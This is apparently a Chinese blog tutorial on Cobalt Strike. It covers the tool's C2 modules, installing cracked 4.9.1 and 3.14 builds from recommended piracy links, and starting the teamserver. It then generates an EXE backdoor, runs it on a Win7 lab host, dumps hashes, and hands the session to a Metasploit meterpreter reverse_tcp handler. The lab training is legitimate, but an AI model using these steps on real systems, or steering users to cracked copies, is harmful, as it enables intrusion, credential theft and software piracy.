一、CobaltStrike简介
Cobalt Strike 是一款由美国网络安全公司 Help Systems 开发的 商业渗透测试工具,广泛用于模拟高级持续威胁(APT)攻击和红队演练。其核心功能是帮助安全团队评估企业网络的防御能力,但因其强大的功能,也被部分攻击者滥用为恶意工具。在高级渗透测试和红队操作领域,Cobalt Strike 是一款备受推崇的商业工具。它提供了丰富的功能和强大的模块,用于模拟高级持续性威胁(APT),执行复杂的攻击链条,并帮助组织评估和提升其安全防护能力。
Cobalt Strike 作为一款专业的渗透测试和红队操作工具,旨在帮助安全专家模拟真实的攻击场景。它拥有强大的命令与控制(C2)功能、丰富的后渗透模块和灵活的脚本支持,使其成为安全评估和攻击模拟的重要工具。
Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
1.1 Cobalt Strike架构
1.2 核心模块与功能
1.2.1 核心模块
- 信标(Beacon):Cobalt Strike 的主要后渗透载荷,能够与团队服务器建立命令与控制(C2)通道,并执行多种后渗透活动,如网络和主机枚举、文件操作、进程操作等。
- 监听器(Listeners):用于等待信标连接的 C2 服务器,支持多种协议,如 HTTP/HTTPS、DNS、SMB、原始 TCP 等,并且可以在每种监听器类型中进行各种修改以适应不同的攻击场景。
- 客户端(Client):攻击者与团队服务器交互的界面,通过它可以管理信标会话、发送命令、查看日志、构建载荷、执行插件以及生成报告等。
- 攻击者脚本(Aggressor Scripts):允许用户自定义命令、菜单选项和界面,通过编写脚本可以扩展 Cobalt Strike 的功能,如添加新的菜单快捷方式、链接多个攻击步骤等。
- 团队服务器(Team Server):作为信标和客户端之间的中间人,负责管理信标会话和客户端连接,协调两者之间的通信。
1.2.2 功能
多种上线方式:支持多种协议实现主机上线,能够灵活适配复杂多变的网络环境,确保渗透测试流程顺畅无阻。
功能模块集成度高:集成了提权、凭据导出、端口转发、socket 代理、针对 Office 的攻击手段、文件捆绑以及钓鱼等一系列实用功能,可全方位满足渗透测试中各类复杂需求。
协同拓展能力强:可与 Mimikatz 等业界知名工具协同工作,进一步挖掘系统深层次漏洞,增强攻击效能。
分布式协作架构:采用客户端与服务端分离的架构,支持分布式操作,方便团队成员高效协同,极大提升渗透测试的效率与质量。
强大的攻击模块:
- 网络攻击:提供端口扫描器、浏览器代理等功能,可以对目标网络进行扫描和渗透。
- 社会工程学攻击:支持鱼叉式网络钓鱼、网站克隆等攻击手段,用于获取目标用户的凭证和信息。
- 权限提升:具备权限升级功能,可以帮助攻击者获取更高权限,以便进一步控制目标系统。
灵活的载荷生成:可以根据不同的攻击场景和需求,生成各种类型的载荷,如 Windows EXE、DLL、PowerShell 脚本等。
丰富的交互功能:通过与信标的交互,攻击者可以执行各种命令,如文件操作、进程操作、系统信息收集等,并且可以实时查看命令的执行结果。
数据管理和分析:提供凭据管理器、文件浏览器、事件日志等功能,方便攻击者管理和分析获取到的数据。
报告生成:能够生成详细的报告,记录渗透测试的全过程,包括攻击路径、获取的凭证、执行的命令等,有助于总结和评估渗透测试的效果。
二、主要特点
强大的C2通信:支持HTTP、HTTPS、DNS和SMB等多种通信协议,确保C2通信的隐蔽性和稳定性。
丰富的后渗透模块:提供了大量的后渗透功能,如凭据收集、横向移动、持久性等。
团队协作:支持多用户协作,便于红队成员之间的协同作战。
灵活的脚本支持:支持Aggressor脚本和Beacon Object Files(BOF),可以根据需求定制攻击流程。
实时攻击模拟:能够模拟高级威胁,帮助组织发现和修复潜在的安全漏洞。
三、下载安装(CobaltStrike4.9.1)
3.1 下载
Cobalt Strike是商业软件,原则上需要购买许可证才能使用。
不过也有破解版,原始项目地址为:https://github.com/Snowming04/CobaltStrike4.0_related
,项目中也有一些教程文档,不过经过测试连接都挂掉了。
推荐一个下载地址:https://www.ddosi.org/cobalt-strike-4-9-1-cracked/
文件结构:
CobaltSrike_4.9.1_Cracked_www.ddosi.org
├─Client
│ cobaltstrike-client.cmd
│ cobaltstrike-client.jar
│ cobaltstrike-client.sh
│ cobaltstrike.auth
│ uHook.jar
│
└─Server
│ c2lint
│ cobaltstrike.auth
│ source-common.sh
│ teamserver
│ TeamServerImage
│
└─third-party
README.winvnc.txt
winvnc.x64.dll
winvnc.x86.dll
3.2 安装
- 把Cobalt Strike安装包上传至Kali中,如果Kali作为服务端,就使用Server文件夹,Client文件夹在被控终端使用:
3.3 开启服务端
./teamserver Kali本机IP地址 设置服务端的密码
如果teamserver文件不具备可执行权限,chmod u+x 即可
,然后再重新执行:
如果提示:./TeamServerImage: Permission denied
,同样给TeamServerImage
添加执行权限,然后重新运行:
┌──(root💀kali)-[~/Desktop/CobaltSrike_4.9.1_Cracked_www.ddosi.org/Server]
└─# ./teamserver 172.20.10.4 123456
[*] Will use existing X509 certificate and keystore (for SSL)
[*] Starting teamserver
[*] Team Server Version: 4.9.1 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: ba703778881a47e5dbb2df1d79b0b68f04ba9fa654f22d1ad9822368846a5839
如上图出现SSL cert 等提示表示服务端运行成功。
3.4 开启客户端
Client中有如下文件:
3.4.1 在mac上运行客户端
为启动脚本添加执行权限:
chmod u+x cobaltstrike-client.sh
然后执行启动脚本:
./cobaltstrike-client.sh
配置Host主机(Kali主机IP)、Port端口(同服务端)、User用户名(任意都行)、Password密码(服务端配置的密码);
然后点击Connect:
检查一下,跟服务端证书指纹一致,确认即可。
- 成功连接到服务端
3.4.2 在win7上运行客户端
ip:172.20.10.2
配置,成功连接到服务端。
4.9版本的CS还是太新了,不太适应。
四、下载安装(CobaltStrike 3.14)
4.1 下载
- cobaltstrike 3.14 汉化版.zip 链接: https://pan.baidu.com/s/1AW4nL_cJOsrO64xZQltMZA 提取码: yiqp
其他下载地址:
- 英文版:
链接:https://pan.baidu.com/s/172NbUXaggvHWz9vhI35Nug
提取码:p2ge- 中文版:
链接:https://pan.baidu.com/s/1Ns_mzzcjUne9xsz9M78lHw
提取码:8iee
文件内容:
4.2 安装
直接进入文件包,赋予可执行权限即可。
4.3 服务端启动
./teamserver ip password
4.4 客户端启动
4.4.1 mac
java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
为了方便可以创建一个启动脚本:
echo "java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar" > start.sh
chmod u+x start.sh
./start.sh
连接配置:
点击连接,成功连接至服务端:
4.4.2 win7
运行cobalstrike.bat
,然后配置即可。
五、基础使用
5.1 创建监听器
选择监听器
功能:
下方会出现一个监听器X
的面板:
点击Add
可以添加一个监听器:
名字自定义、payload也可以根据情况选择、主机填CS服务端的IP、端口自定义。
如上图所示,监听器已经开启监听。
5.2 win7上线
- 生成后门:
按照上面的指引选择Windows Executable
模块。
选择刚刚创建的监听器,点击generate生成后门。
将后门文件投递到win7上,执行:
win7成功上线CS。
5.3 转储哈希
win7上线之后,右键可以执行很多操作:
比如转储Hash:
5.4 联动MSF
- 在kali中启动msf,开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.20.10.4 【kali(CS服务端)ip】
set lport 7777
run -j 【是一个常用的命令选项,用于在后台运行模块。】
执行之后:
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.20.10.4:7777
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.20.10.4 yes The listen address (an interface may be specified)
LPORT 7777 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) >
- 在CS客户端中创建一个外部监听
使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。
在已上线的会话中,右键点击派生会话:
然后选择刚刚创建的msf
会话。
在msfconsole中获取到相应的会话连接:
后续也可利用msf中的工具进行进一步渗透。